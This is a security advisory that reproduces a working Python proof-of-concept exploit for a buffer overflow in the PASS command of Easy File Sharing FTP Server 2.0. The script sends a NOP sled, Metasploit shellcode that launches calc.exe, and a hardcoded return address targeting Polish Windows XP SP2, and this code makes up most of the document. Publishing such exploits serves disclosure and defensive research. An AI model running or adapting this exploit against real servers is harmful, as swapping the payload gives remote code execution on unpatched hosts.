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Easy File Sharing FTP Server PASS Buffer Overflow (Exploit)

SUMMARY

<http://www.efssoft.com/ftpserver.htm&gt; Easy File Sharing FTP Server is a
simple and powerful FTP server for Windows.

A buffer overflow vulnerability in EFS FTP Server allows arbitrary command
execution.

DETAILS

Vulnerable Systems:

• Easy File Sharing FTP Server version 2.0

Exploit:
#!/usr/bin/python
#Easy File Sharing FTP Server 2.0 (PASS) 0day PoC exploit
#Proof of Concept: execute calc.exe
#Bug found by h07 <[email protected]>
#Tested on XP SP2 polish
#Date: 28.07.2006

#BUFF([PASS + 0x20]+[0x2c]+[NOP * 2571]+[0x41414141]+[\r\n])
#EIP = 0x41414141

host = "127.0.0.1"
port = 21
len_recv = 1024
user_name = "anonymous"
NOP_LEN = 2571
EIP = 0x77AB367B #popad pop ret (CRYPT32.DLL) XP SP2 polish

from socket import *

shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

def intel_order(i):
a = chr(i % 256)
i = i >> 8
b = chr(i % 256)
i = i >> 8
c = chr(i % 256)
i = i >> 8
d = chr(i % 256)
str = "%c%c%c%c" % (a, b, c, d)
return str

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(len_recv)

buffer = "USER %s\r\n" % (user_name)

s.send(buffer)
print s.recv(len_recv)

buffer = "PASS "
buffer += "\x2c"
buffer += "\x90" * (NOP_LEN - len(shellcode))
buffer += shellcode
buffer += intel_order(EIP)
buffer += "\r\n"

s.send(buffer)
print s.recv(len_recv)
s.close()

#EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]> h07.

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